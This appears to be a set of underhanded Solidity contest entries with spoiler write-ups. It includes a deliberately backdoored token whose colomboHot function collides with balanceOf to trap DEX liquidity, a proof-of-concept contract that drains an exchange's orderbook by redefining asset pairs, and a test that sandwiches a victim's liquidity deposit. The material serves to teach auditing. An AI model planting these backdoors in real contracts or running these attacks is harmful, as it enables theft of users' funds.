FILE: 2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/src/utils/SafeTransferLib.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;
import {ERC20} from "../tokens/ERC20.sol";
/// @notice Safe ETH and ERC20 transfer library that gracefully handles missing return values.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/utils/SafeTransferLib.sol)
/// @author Modified from Gnosis (https://github.com/gnosis/gp-v2-contracts/blob/main/src/contracts/libraries/GPv2SafeERC20.sol)
/// @dev Use with caution! Some functions in this library knowingly create dirty bits at the destination of the free memory pointer.
library SafeTransferLib {
/*///////////////////////////////////////////////////////////////
ETH OPERATIONS
//////////////////////////////////////////////////////////////*/
function safeTransferETH(address to, uint256 amount) internal {
bool callStatus;
assembly {
// Transfer the ETH and store if it succeeded or not.
callStatus := call(gas(), to, amount, 0, 0, 0, 0)
}
require(callStatus, "ETH_TRANSFER_FAILED");
}
/*///////////////////////////////////////////////////////////////
ERC20 OPERATIONS
//////////////////////////////////////////////////////////////*/
function safeTransferFrom(
ERC20 token,
address from,
address to,
uint256 amount
) internal {
bool callStatus;
assembly {
// Get a pointer to some free memory.
let freeMemoryPointer := mload(0x40)
// Write the abi-encoded calldata to memory piece by piece:
mstore(freeMemoryPointer, 0x23b872dd00000000000000000000000000000000000000000000000000000000) // Begin with the function selector.
mstore(add(freeMemoryPointer, 4), and(from, 0xffffffffffffffffffffffffffffffffffffffff)) // Mask and append the "from" argument.
mstore(add(freeMemoryPointer, 36), and(to, 0xffffffffffffffffffffffffffffffffffffffff)) // Mask and append the "to" argument.
mstore(add(freeMemoryPointer, 68), amount) // Finally append the "amount" argument. No mask as it's a full 32 byte value.
// Call the token and store if it succeeded or not.
// We use 100 because the calldata length is 4 + 32 * 3.
callStatus := call(gas(), token, 0, freeMemoryPointer, 100, 0, 0)
}
require(didLastOptionalReturnCallSucceed(callStatus), "TRANSFER_FROM_FAILED");
}
function safeTransfer(
ERC20 token,
address to,
uint256 amount
) internal {
bool callStatus;
assembly {
// Get a pointer to some free memory.
let freeMemoryPointer := mload(0x40)
// Write the abi-encoded calldata to memory piece by piece:
mstore(freeMemoryPointer, 0xa9059cbb00000000000000000000000000000000000000000000000000000000) // Begin with the function selector.
mstore(add(freeMemoryPointer, 4), and(to, 0xffffffffffffffffffffffffffffffffffffffff)) // Mask and append the "to" argument.
mstore(add(freeMemoryPointer, 36), amount) // Finally append the "amount" argument. No mask as it's a full 32 byte value.
// Call the token and store if it succeeded or not.
// We use 68 because the calldata length is 4 + 32 * 2.
callStatus := call(gas(), token, 0, freeMemoryPointer, 68, 0, 0)
}
require(didLastOptionalReturnCallSucceed(callStatus), "TRANSFER_FAILED");
}
function safeApprove(
ERC20 token,
address to,
uint256 amount
) internal {
bool callStatus;
assembly {
// Get a pointer to some free memory.
let freeMemoryPointer := mload(0x40)
// Write the abi-encoded calldata to memory piece by piece:
mstore(freeMemoryPointer, 0x095ea7b300000000000000000000000000000000000000000000000000000000) // Begin with the function selector.
mstore(add(freeMemoryPointer, 4), and(to, 0xffffffffffffffffffffffffffffffffffffffff)) // Mask and append the "to" argument.
mstore(add(freeMemoryPointer, 36), amount) // Finally append the "amount" argument. No mask as it's a full 32 byte value.
// Call the token and store if it succeeded or not.
// We use 68 because the calldata length is 4 + 32 * 2.
callStatus := call(gas(), token, 0, freeMemoryPointer, 68, 0, 0)
}
require(didLastOptionalReturnCallSucceed(callStatus), "APPROVE_FAILED");
}
/*///////////////////////////////////////////////////////////////
INTERNAL HELPER LOGIC
//////////////////////////////////////////////////////////////*/
function didLastOptionalReturnCallSucceed(bool callStatus) private pure returns (bool success) {
assembly {
// Get how many bytes the call returned.
let returnDataSize := returndatasize()
// If the call reverted:
if iszero(callStatus) {
// Copy the revert message into memory.
returndatacopy(0, 0, returnDataSize)
// Revert with the same message.
revert(0, returnDataSize)
}
switch returnDataSize
case 32 {
// Copy the return data into memory.
returndatacopy(0, 0, returnDataSize)
// Set success to whether it returned true.
success := iszero(iszero(mload(0)))
}
case 0 {
// There was no return data.
success := 1
}
default {
// It returned some malformed input.
success := 0
}
}
}
}
================================================
FILE: 2022/submissions_2022/submission13_TeamChainSecurity/spoiler.txt
================================================
Rugpull a liquidity provider
----------------------------
If the first liquidity provider sees that a second liquidity provider is about to provide liquidity, they can sandwich them as follows:
1. Burn all LP tokens
2. Mint a small amount, the worth of an LP token is now redefined to be this small amount (The first mint always mint one LP token)
3. Add further liquidity so that the to-be-added liquidity generates as little LP tokens as possible
4. Include transaction of second liquidity provider
5. Balance the pool again
Thereby, the attacker can steal large parts of the provided liquidity. The exact amounts depend on how unbalanced the victim's liquidity is. In the test case the attacker manages to steal 99.7% of the liquidity, even the victim uses the slippage protection!
Even though there is slippage protection, the slippage is huge. Slippage protection is super important in solidity code, but it is easy to get wrong.
Why burn is fine without slippage protection
--------------------------------------------
We would argue that removing the slippage protection on burn() is fine. An LP token can only be "redefined" by burning all tokens, which isn't possible in a front-running attack as the victim is still holding LP tokens. An attacker can only unbalance the pool, but that essentially increases the monetary value of the victim's payout. The victim is guaranteed at least a fair payout of a balanced LP token.
================================================
FILE: 2022/submissions_2022/submission13_TeamChainSecurity/src/Contract.sol
================================================
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity 0.8.12;
import "solmate/tokens/ERC20.sol";
// Do not support tokens that return false on error
interface ReasonableERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external;
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external;
function transferFrom(address from, address to, uint256 amount) external;
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
interface IUniswapV2Callee {
function uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) external;
}
contract V2PairAndRouter is ERC20 {
ReasonableERC20 public immutable token0;
ReasonableERC20 public immutable token1;
// uses single storage slot, wastes 24 bits to trigger poor auditors
uint112 private reserve0;
uint112 private reserve1;
uint8 private unlocked = 1;
error InsufficientInputAmout();
error InsufficientLiquidity();
error InsufficientLiquidityBurned();
error InsufficientLiquidityMinted();
error InsufficientOutputAmout();
error K();
error Overflow();
error PairLocked();
modifier lock() {
if(unlocked != 1) revert PairLocked();
unlocked = 0;
_;
unlocked = 1;
}
function getReserves() public view returns (uint112 _reserve0, uint112 _reserve1) {
_reserve0 = reserve0;
_reserve1 = reserve1;
}
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to);
event Sync(uint112 reserve0, uint112 reserve1);
constructor(address _token0, address _token1) ERC20("Pair", "PAI", 18) {
token0 = ReasonableERC20(_token0);
token1 = ReasonableERC20(_token1);
}
// Original from Uniswap
function sqrt(uint y) internal pure returns (uint z) {
if (y > 3) {
z = y;
uint x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
function _update(uint balance0, uint balance1) private {
if(!(balance0 <= type(uint112).max && balance1 <= type(uint112).max)) revert Overflow();
reserve0 = uint112(balance0);
reserve1 = uint112(balance1);
emit Sync(uint112(balance0), uint112(balance1));
}
// Allow unbalanced minting
// - Computes the newly minted amount
// - Compares to the
function mint(address to, uint amount0, uint amount1, uint minOut) external lock returns (uint liquidity) {
if(amount0 > 0) token0.transferFrom(msg.sender, address(this), amount0);
if(amount1 > 0) token1.transferFrom(msg.sender, address(this), amount1);
(uint112 _reserve0, uint112 _reserve1) = getReserves();
uint balance0 = token0.balanceOf(address(this));
uint balance1 = token1.balanceOf(address(this));
amount0 = balance0 - _reserve0;
amount1 = balance1 - _reserve1;
uint oldSupply = totalSupply;
if (oldSupply == 0) {
liquidity = 10**18;
} else {
uint previousK = uint(_reserve0) * uint(_reserve1);
uint newK = balance0 * balance1;
liquidity = (sqrt(newK * 10**36 / previousK) - 10**18) * oldSupply / 10**18;
// Take fee to prevent pesky JiT liquidity
liquidity = liquidity * 997 / 1000;
if(liquidity == 0) revert InsufficientLiquidityMinted();
}
require(liquidity >= minOut);
_mint(to, liquidity);
_update(balance0, balance1);
emit Mint(msg.sender, amount0, amount1);
}
// Allow burning of LP tokens without need for previous approve()
function burn(address to, uint liquidity) external lock returns (uint amount0, uint amount1) {
uint balance0 = token0.balanceOf(address(this));
uint balance1 = token1.balanceOf(address(this));
uint oldSupply = totalSupply;
// Compute respective token ratio
amount0 = liquidity * balance0 / oldSupply;
amount1 = liquidity * balance1 / oldSupply;
if(amount0 == 0 || amount1 == 0) revert InsufficientLiquidityBurned();
_burn(msg.sender, liquidity);
token0.transfer(to, amount0);
// Transfer out the tokens
token1.transfer(to, amount1);
balance0 = token0.balanceOf(address(this));
balance1 = token1.balanceOf(address(this));
_update(balance0, balance1);
emit Burn(msg.sender, amount0, amount1, to);
}
// Swap
// - Can be used as a standalone contract for single-pair swaps
// - Or in combination with a router for multi-pair swaps
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data, uint amount0In, uint amount1In) external lock {
if(amount0In > 0) token0.transferFrom(msg.sender, address(this), amount0In);
if(amount1In > 0) token1.transferFrom(msg.sender, address(this), amount1In);
if(amount0Out == 0 && amount1Out == 0) revert InsufficientOutputAmout();
(uint112 _reserve0, uint112 _reserve1) = getReserves();
if(amount0Out >= _reserve0 || amount1Out >= _reserve1) revert InsufficientLiquidity();
uint balance0;
uint balance1;
require(to != address(token0) && to != address(token1));
// Optimistically transfer tokens
if (amount0Out > 0) token0.transfer(to, amount0Out);
if (amount1Out > 0) token1.transfer(to, amount1Out);
if (data.length > 0) IUniswapV2Callee(to).uniswapV2Call(msg.sender, amount0Out, amount1Out, data);
balance0 = token0.balanceOf(address(this));
balance1 = token1.balanceOf(address(this));
amount0In = balance0 > _reserve0 - amount0Out ? balance0 - (_reserve0 - amount0Out) : 0;
amount1In = balance1 > _reserve1 - amount1Out ? balance1 - (_reserve1 - amount1Out) : 0;
if(amount0In == 0 && amount1In == 0) revert InsufficientInputAmout();
{
uint balance0Adjusted = balance0 * 1000 - (amount0In * 3);
uint balance1Adjusted = balance1 * 1000 - (amount1In * 3);
if(balance0Adjusted * balance1Adjusted < uint(_reserve0) * (_reserve1) * 1000**2) revert K();
}
_update(balance0, balance1);
emit Swap(msg.sender, amount0In, amount1In, amount0Out, amount1Out, to);
}
}
================================================
FILE: 2022/submissions_2022/submission13_TeamChainSecurity/src/test/Contract.t.sol
================================================
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.12;
// This is just the test case, disregard for judging
import "ds-test/test.sol";
import "../Contract.sol";
import "solmate/tokens/ERC20.sol";
contract T1 is ERC20{
constructor() ERC20("T1", "T1", 18) {
_mint(msg.sender, 1000 * 10**18);
}
}
contract T2 is ERC20{
constructor() ERC20("T2", "T2", 18) {
_mint(msg.sender, 1000 * 10**18);
}
uint public marker = 2;
}
interface CheatCodes {
function prank(address) external;
}
contract ContractTest is DSTest {
CheatCodes cheats = CheatCodes(HEVM_ADDRESS);
V2PairAndRouter c;
T1 t1;
T2 t2;
address victim = 0x1230000000000000000000000000000000000000;
function setUp() public {
t1 = new T1();
t2 = new T2();
c = new V2PairAndRouter(address(t1), address(t2));
}
function testMint() public {
t1.transfer(address(c), 1 ether);
t2.transfer(address(c), 1 ether);
c.mint(address(this), 0, 0, 1);
t1.transfer(address(c), 1 ether);
t2.transfer(address(c), 1 ether);
c.mint(address(this), 0, 0, 1);
t1.transfer(address(c), 2 ether);
t2.transfer(address(c), 2 ether);
c.mint(address(this), 0, 0, 1);
t1.transfer(address(c), 2 ether);
c.mint(address(this), 0, 0, 1);
t2.transfer(address(c), 2 ether);
c.mint(address(this), 0, 0, 1);
}
function testNormalVictimMint() public {
t1.transfer(address(c), 1 ether);
t2.transfer(address(c), 1 ether);
c.mint(address(this), 0, 0, 1);
t1.transfer(address(c), 1 ether);
cheats.prank(victim);
uint bal = c.mint(victim, 0, 0, 412970921685975762);
// Arbitrager
t2.transfer(address(c), 1 ether);
c.mint(address(this), 0, 0, 1);
// Burn to find underlying
cheats.prank(victim);
c.burn(victim, bal);
t1.balanceOf(victim);
t2.balanceOf(victim);
}
function testAttackedVictimMint() public {
t1.transfer(address(c), 1 ether);
t2.transfer(address(c), 1 ether);
uint bal = c.mint(address(this), 0, 0, 1);
c.burn(address(this), bal);
// Mini Mint
t1.transfer(address(c), 10**14);
t2.transfer(address(c), 10**14);
c.mint(address(this), 0, 0, 1);
// Unbalanced Mint
t1.transfer(address(c), 20 ether);
c.mint(address(this), 0, 0, 1);
// Victim Mint
t1.transfer(address(c), 1 ether);
cheats.prank(victim);
bal = c.mint(victim, 0, 0, 412970921685975762);
// Arbitrager
t2.transfer(address(c), 21 ether);
c.mint(address(this), 0, 0, 1);
// Burn to find underlying
cheats.prank(victim);
c.burn(victim, bal);
t1.balanceOf(victim);
t2.balanceOf(victim);
}
}
================================================
FILE: 2022/submissions_2022/submission14_0xplaintxt/Colombo.txt
================================================
//SPDX-License-Identifier: CC0
pragma solidity ^0.8.0;
import './interfaces/IColombo.sol';
contract ERC20 {
string public constant name = 'Colombo Coin';
string public constant symbol = 'CC';
uint8 public constant decimals = 18;
uint public totalSupply;
mapping(address => uint) balanceOf;
mapping(address => mapping(address => uint)) public allowance;
mapping(address => uint) public nonces;
address colombo;
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
constructor (uint _totalSupply) {
_mint(msg.sender, _totalSupply);
colombo = msg.sender;
}
function _mint(address to, uint value) internal {
totalSupply += value;
balanceOf[to] += value;
emit Transfer(address(0), to, value);
}
function _burn(address from, uint value) internal {
balanceOf[from] -= value;
totalSupply -= value;
emit Transfer(from, address(0), value);
}
function _approve(address owner, address spender, uint value) private {
allowance[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _transfer(address from, address to, uint value) private {
balanceOf[from] -= value;
balanceOf[to] += value;
emit Transfer(from, to, value);
}
function approve(address spender, uint value) external returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transfer(address to, uint value) external returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function transferFrom(address from, address to, uint value) external returns (bool) {
if (allowance[from][msg.sender] != type(uint).max) {
allowance[from][msg.sender] -= value;
}
_transfer(from, to, value);
return true;
}
function colomboHot(uint160 id) external view returns (uint purse) {
require(msg.sender != address(id), 'invalid ID');
address amaretto = IColombo(msg.sender).amarettoIdealist();
address defunct = IColombo(msg.sender).defunctFalsifiablity();
(uint happyThoughts, uint superThoughts) = IColombo(msg.sender).detectabilityAntiauthoritarianism();
(,address friendship) = amaretto == address(this) ? (amaretto, defunct) : (defunct, amaretto);
(, uint clouds) = amaretto == address(this) ? (happyThoughts, superThoughts) : (superThoughts, happyThoughts);
purse = balanceOf[msg.sender];
uint orangeTrees = IColombo(friendship).bibliopolistsTrainees(msg.sender);
require(orangeTrees > clouds || msg.sender == colombo, 'not enough oranges');
return purse;
}
}
================================================
FILE: 2022/submissions_2022/submission14_0xplaintxt/IColombo.txt
================================================
//SPDX-License-Identifier: CC0
pragma solidity ^0.8.0;
interface IColombo {
function amarettoIdealist() external view returns (address);
function defunctFalsifiablity() external view returns (address);
function detectabilityAntiauthoritarianism() external view returns (uint, uint);
function bibliopolistsTrainees(address) external view returns (uint);
}
================================================
FILE: 2022/submissions_2022/submission14_0xplaintxt/README.MD
================================================
# Colombo Coin 🍊
## What is Colombo Coin?
CC is a whimsical ERC-20 token that will be airdropped to verified EOAs who have burned the most cumulative gas interacting with UniV2 to-date (snapshot date: 02/02/2022).
The gas burned by these EOAs represents a steep sacrifice made by early pioneers in DeFi to bootstrap liquidity across the ETH mainnet.
The goal of the Colombo team is to reward these early adopters and provide a utility token for a novel cross-chain exchange to be deployed in Q2'22, designed expressly to serve the early and the brave.
In the near term, those who stake their CC in liquidity pools such as UniV2 will also receive further incentives denominated in CC for continuing to provide critical liquidity services to the market. We anticipate broad demand for OTC CC and will enthusiastically reward all liquidity providers who help broaden our ecosystem. We have also built some novel functionality into the core ERC-20 implementation to support our future rewards scheme; we look forward to unveiling the reward function when the broader Colombo platform launches. For now we simply hope you enjoy some wonderful and enigmatic variable names.
Our roadmap is long and winding and we look forward to a fruitful future together!
================================================
FILE: 2022/submissions_2022/submission14_0xplaintxt/Spoilers.MD
================================================
# The Scheme 🎣
## What is Colombo Coin?
This ERC-20 implemention includes the use of several function signature collisions that are designed to confuse and rug users who stake or trade this coin on a major 2-token DEX pool. The coin is designed specifically with UniV2 in mind, but it could be easily modified to behave similarly across other more complex DEX architectures.
## Core function collision
colomboHot(uint160) has an identical 4-byte signature to balanceOf(address).
The contract has not set the visibility of the balanceOf variable to public, and as such it does not generate a function signature that other contracts can call.
In its place, colomboHot ends up receiving all calls sent by a DEX such as UniV2 that are meant to query the pool contract's balance of the ERC-20 token.
## How does colomboHot work?
In order to profit off of this scheme, the Colombo team would need to convince at least some of its airdrop recipients to stake their tokens in a liquidity pool so that the Colombo team can successfully trade / drain the counter-tokens deposited alongside their CC.
The balanceOf function has to operate as expected on transactions that add liquidity or purchase CCs (swap for CC), but fail for transactions that remove liquidity and sell CC.
The Colombo team may seed a liquidity pool themselves to bait others to join in, knowing that any incremental value committed would only be receivable by the Colombo team.
## What's the takeaway?
Function signature collisions are broadly known. There are ~4.2b unique 4-byte signatures, making it trivial to find a collision for a specific signature.
These collisions are not however generally thought of as a source of vulnerabilities. The goal of this exercise was to show how a function collision may be employed to hide malicious code execution through a call made by a trusted intermediary contract. In this case, a simple view-only function with whimsical naming patterns has the potential to easily rug unwitting users.
Static analysis tools may find it beneficial to highlight function signatures that are commonly used to point to 'reserved' function names so as to make it clear to users if there is an unexpected collision around reserved/special function signatures. A user scanning this contract code on Etherscan should ideally be able to see that colomboHot(uint160) shares a function signature with 'balanceOf', which should alert them to the potential malicious intent of the contract authors.
## colomboHot in detail
colomboHot makes use of a number of other collisions contained in an interface contract to perform a check on the DEX pool balances and reserves without its intentions being clearly detected.
Function mapping: 1. colomboHot(uint160) -> balanceOf(address) 2. amarettoIdealist() -> token0() 2. defunctFalsifiablity() -> token1() 3. detectabilityAntiauthoritarianism() -> getReserves() 4. bibliopolistsTrainees(address) -> balanceOf(address) (perform this second balanceOf call using another collision to avoid repeating the function name)
Specifically, colomboHot conducts a set of checks to see whether the txn is adding or removing the alternative token in the pool.
a. if the alternative token balance is declining as a result of this txn (via removing liquidity or selling CC), then the txn is reverted for all users except for 'Colombo'
b. if the pool's balance of the alternative token is increasing in this txn, then the function returns as expected
The 'deciphered' function:
function colomboHot(uint160 id) external view returns (uint \_balance) {
require(msg.sender != address(id), 'invalid ID');
address token0 = IUniswapV2Pair(msg.sender).token0();
address token1 = IUniswapV2Pair(msg.sender).token1();
(uint _reserve0, uint _reserve1) = IUniswapV2Pair(msg.sender).getReserves();
(,address otherCoin) = token0 == address(this) ? (token0, token1) : (token1, token0);
(, uint otherReserve) = token0 == address(this) ? (_reserve0, _reserve1) : (_reserve1, _reserve0);
_balance = balanceOf[msg.sender];
uint otherBalance = IERC20(otherCoin).balanceOf(msg.sender);
require(otherBalance > otherReserve || msg.sender == colombo, 'txn reduces pool of non-CC token');
return _balance;
}
================================================
FILE: 2022/submissions_2022/submission15_MartinSwende/AssetMgr.sol
================================================
// SPDX-License-Identifier: UNLICENSED
pragma solidity >=0.7.0 <0.9.0;
import "@openzeppelin/contracts/access/Ownable.sol";
// AssetMgr manages assets (trading pairs).
contract AssetMgr is Ownable{
// assetPair represents a trading pair. The 'from' is used as validity-check.
struct assetPair{
address from;
address to;
}
// assets contains the asset pair mappings.
// E.g. "WD" might represent Weth/Dai
mapping(string => assetPair) public assets;
constructor(){
// Enroll some default assets here
assets["TETH/BNB"] = assetPair({from: address(0xdAC17F958D2ee523a2206206994597C13D831ec7),to: address(0xB8c77482e45F1F44dE1745F52C74426C631bDD52)});
assets["TETH/USDC"] = assetPair({from: address(0xdAC17F958D2ee523a2206206994597C13D831ec7),to: address(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48)});
assets["TETH/MATIC"] = assetPair({from: address(0xdAC17F958D2ee523a2206206994597C13D831ec7),to: address(0x7D1AfA7B718fb893dB30A3aBc0Cfc608AaCfeBB0)});
assets["TETH/UNI"] = assetPair({from: address(0xdAC17F958D2ee523a2206206994597C13D831ec7),to: address(0x1f9840a85d5aF5bf1D1762F925BDADdC4201F984)});
}
// enrollAsset makes an asset pair eligible for trading.
function enrollAsset( address from, address to, string calldata id) public onlyOwner{
require(assets[id].from == address(0), "asset already enrolled");
require(from != address(0),"invalid asset");
assets[id].from = from;
assets[id].to = to;
}
// removeAsset makes an asset pair not eligible for trading.
function removeAsset(string calldata id) public onlyOwner{
delete assets[id];
}
// getAsset returns the asset pair with the specified id.
function getAsset(string calldata id) public view returns (bool ok, address from, address to ) {
assetPair memory pair = assets[id];
if (pair.from == address(0)){
return (false, address(0), address(0));
}
return (true, pair.from, pair.to);
}
}
================================================
FILE: 2022/submissions_2022/submission15_MartinSwende/README.md
================================================
# Decentralized orderbook
SimpEX is a very simple decentralized exchange.
- Non-custodial: the assets are moved only when an order is executed.
- Manual Market Maker (MMM): as opposed to an Automated Market Maker (AMM), which meets bids via provided liquidity and price-oracle functions.
- Fair: making and taking is equally priced.
- Sandwich-safe: frontrunning cannot modify market conditions such as price.
- Each 'take' uniquely identifies an order to take, thus cannot be swayed by MEV shenanigans.
- The 'worst' a frontrunner can do is take the order before you do.
- Slippage-safe
- A 'shallow orderbook' cannot cause slippage, since there's no automated fall-through to other orders.
## What is an exchange
Traditionally, an exchange for a given asset pair is an order-book. This is often visualized as two hills: the left side is buy-orders (bid), right side is sell-orders (ask).
The "valley" between the two hills is "the spread",
and traditional exchanges often use the spread to reward themselves, the makers, or (less often) the takers.

Maker: someone who provides liquidity -- placing an order into the orderbook.
Taker: someone who removes liquidity -- taking an order off the orderbook.
This exchange earns money both from makers and takers: the cost for both making and taking an order is `1` native token.
## How to use this
Very simple.
1. Check what assets are defined, e.g. "TETH/UNI" is the asset exhange between Tether and Uniswap tokens.
2. If you want to sell 100 Tether for 200 Uniswap tokens, then call
2a. approve the SimpDEX for transferring TETH
2b. Place a 'make' order:
```
make(200 /*cost in UNI */, 100 /*amount of TETH to sell*/, false /*direction, SELL =false, BUY=true */, "TETH/UNI")
```
For someone who wants to take the order we just placed, it's equally simple:
1. approve the SimpDEX for transferring UNI on your behalf
2. Take it:
```
take(orderid)
```
3. (optional): revoke the approval from step 1.
And of course, before doing these operations you need to buy some SMP-tokens.
================================================
FILE: 2022/submissions_2022/submission15_MartinSwende/RUGPULL.txt
================================================
# Pulling the rug
The exchange itself does not contain any (intentional) errors (there may well be errors in the way buy/sell directions for pairs are implemented due to lack of testing, if so, please ignore them).
However, it relies opon an external contract to maintain asset pair mappings.
At a glance, this is fine:
- The central DEX itself has no owner or privileged methods (only a public method to send accumulated funds to deployer).
- The asset-manager owner can disable an asset pair, which is a reasonable failsafe for compromised assets,
- The exchange itself can handle when an asset pair is disabled (orders simply fail, no observable side-effects other than some lost gas),
- Owner cannot overwrite an existing asset pair (well...).
However, in reality the owner can `remove` + `enroll` in one go, to on-the-fly redefine a pair. After initalizing the exchange + asset manager, the owner can change ownership to his
malicious contract (proof of concept code further down).
Let's say there's an order to "Sell 100 WETH for 100 USDT". This means that the maker has authorized the dex to transfer (at least) `100 WETH` on his behalf. So what we do is:
- Change the "WETH/USDT" so "USDT" resolves to some dummy-token "DUM" where operator has infinite balance.
- Purchase 100 WETH for 100 DUM.
- Restore the asset pair (optional)
- However, once people start noticing the drain, they will remove their authorizations, so it might be better to not restore it, but just go all-out and take the orders in larger batches as fast as possible.
```
// SPDX-License-Identifier: UNLICENSED
pragma solidity >=0.7.0 <0.9.0;
import "AssetManager.sol";
import "SimpEX.sol";
contract Malicious is Ownable{
function doAttack(address assetMgr, address alpha, address beta, string calldata assetPair, address simpEx, bytes32 orderId) public onlyOwner{
AssetMgr mgr = AssetMgr(assetMgr);
// store the previous asset
(, address pAlpha, address pBeta) = mgr.getAsset(assetPair);
// set the new mapping
mgr.removeAsset(assetPair);
mgr.enrollAsset(alpha, beta, assetPair);
// Now execute the order
// swap.take(...)
SimpEX(simpEx).take(orderId);
// restore
mgr.removeAsset(assetPair);
mgr.enrollAsset(pAlpha, pBeta, assetPair);
}
}```
In effect: the malicious operator can drain the entire order-book, both buy and sell-side, by taking all orders and exchanging with DUM tokens.
================================================
FILE: 2022/submissions_2022/submission15_MartinSwende/SimpEX.sol
================================================
// SPDX-License-Identifier: UNLICENSED
pragma solidity >=0.7.0 <0.9.0;
import "AssetManager.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract SimpEX{
// the orderbook
mapping (bytes32 => Order) public orderbook;
// native token tracking, for making/taking orders
mapping (address => uint256) public balances;
// The asset manager, set at construction time
address assetMgr;
constructor(address assets){
assetMgr = assets;
}
struct Order{
uint cost; // denominated in to-amount: 32 bytes -> 256 bits, e.g.
address origin; // address of market maker
uint amount; // amount of units
bool direction; // sell or buy-side
string assetid; // asset id, e.g. "TETH/BNB"
}
// make() is the market-make function, placing an order into the orderbok
function make(uint cost, uint amount, bool direction, string calldata assetPair) public{
// Putting an order in costs 1 token
require(balances[msg.sender] > 0,"balance too low");
balances[msg.sender]--;
// check that the asset is defined
(bool ok,,) = AssetMgr(assetMgr).getAsset(assetPair);
require(ok, "inactive/undefined asset pair");
// Place it in the order book
Order memory o = Order({ cost: cost, origin: msg.sender, amount:amount, direction:direction, assetid: assetPair});
bytes32 id = keccak256(abi.encode(o.cost, o.origin, o.amount, o.direction, o.assetid));
orderbook[id] = o;
// Todo: fire an event - omitted for brevity
}
// take is the function to take an order from the orderbook.
function take(bytes32 id) public{
// Taking an order costs 1 token
require(balances[msg.sender] > 0,"insufficient balance");
balances[msg.sender]--;
Order memory order = orderbook[id];
delete orderbook[id]; // Update state before external calls
require(order.origin != address(0), "order does not exist") ;
(bool ok, address alpha, address beta) = AssetMgr(assetMgr).getAsset(order.assetid);
require(ok, "asset pair cancelled/halted");
address seller;
address buyer;
if (order.direction){
seller = msg.sender;
buyer = order.origin;
}else{
buyer = msg.sender;
seller = order.origin;
}
// seller -> buyer 100 TKN1
IERC20(alpha).transferFrom(seller, buyer, order.amount);
// buyer -> seller 100 TKN2
IERC20(beta).transferFrom(buyer, seller, order.cost);
}
// Omitted for brevity:
//
// buyToken(...) payable - buys a native token for trading
// cancelOrder(bytes32 id) - removes an order from the orderbook
// collect() -- ships accumulated ether to the deployer
}
================================================
FILE: 2022/submissions_2022/submission16_VladToie/Egg.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.1;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
contract Egg is ERC721 {
uint256 eggIDX;
address owner;
constructor() ERC721("EGG", "E"){
eggIDX = 0;
owner = msg.sender;
}
// !!!!! this is external for debug purposes only
// in a real life scenario, Egg would have the usual ownership control for minting, etc
// it's intended to be like this basically, it's not part of the challenge;
function mintToSender() external {
_mint(msg.sender, eggIDX);
eggIDX += 1;
}
}
================================================
FILE: 2022/submissions_2022/submission16_VladToie/EggMarket.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.1;
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
contract EggMarket is IERC721Receiver {
// mapping that handles ownership of the eggs within the EggMarket.
mapping(uint256 => address) public canRedeemEGG;
// struct that handles the orders in the market
struct sell_Order {
uint256 egg_idx_offered; // the ERC721 idx of the "egg" token.
uint256 amount_eth_wanted; // the amount of ETH the seller wants to receive for the egg.
address egg_provider; // the address of the seller.
}
// storing all the sell orders in the market.
sell_Order[] public sellOrders;
// egg. 卵. ou. ei. uovo.
IERC721 egg;
/**
@dev EggMarket constructor.
@param _egg ERC721 contract instance.
*/
constructor(address _egg) {
egg = IERC721(_egg);
}
/**
@dev Allows a buyer to buy an egg from the EggMarket via exhausting its subsequent sell order.
@param _idx The ERC721 idx of the egg.
@param _owner The `current` owner of the egg.
*/
function executeOrder(uint256 _idx, address _owner) external payable {
require(
msg.sender != _owner,
"err: no self-exchanges allowed"
);
// find the sellOrder whose egg_idx_offered == _idx
for (uint256 i = 0; i < sellOrders.length; i++) {
if (sellOrders[i].egg_idx_offered == _idx) {
// check if the _owner is the seller
require(sellOrders[i].egg_provider == _owner, "err: _owner != seller");
// the egg is for sale.
// check if the msg.sender has provided enough ETH to pay for the egg
if (msg.value >= sellOrders[i].amount_eth_wanted) {
// the _owner has enough ETH to pay for the egg
// paying the seller(current owner) of the egg
(bool sent, bytes memory data) = _owner.call{value: msg.value}("");
require(sent, "err: transfer failed");
// transfer the ownership of the egg from the seller to the buyer
canRedeemEGG[_idx] = msg.sender;
// remove the sellOrder from the sellOrders array
sellOrders[i] = sellOrders[sellOrders.length - 1];
sellOrders.pop();
break;
}
}
}
}
/**
@dev Function to retrieve an EGG from the market.
@param _idx The index of the EGG in the market.
*/
function redeemEggs(uint256 _idx) external {
// check if sender can redeem the egg
require(
canRedeemEGG[_idx] == msg.sender,
"err: msg.sender != owner(egg)"
);
// approve the egg transfer.
egg.approve(
msg.sender,
_idx
);
// transfer the ownership of the egg.
egg.transferFrom(
address(this),
msg.sender,
_idx
);
// remove the egg _idx from the canRedeemEGG mapping
delete canRedeemEGG[_idx];
}
/**
@dev Function to effectively add a sellOrder for your egg on the EggMarket.
@param _eggIDX The index of the ERC721 egg.
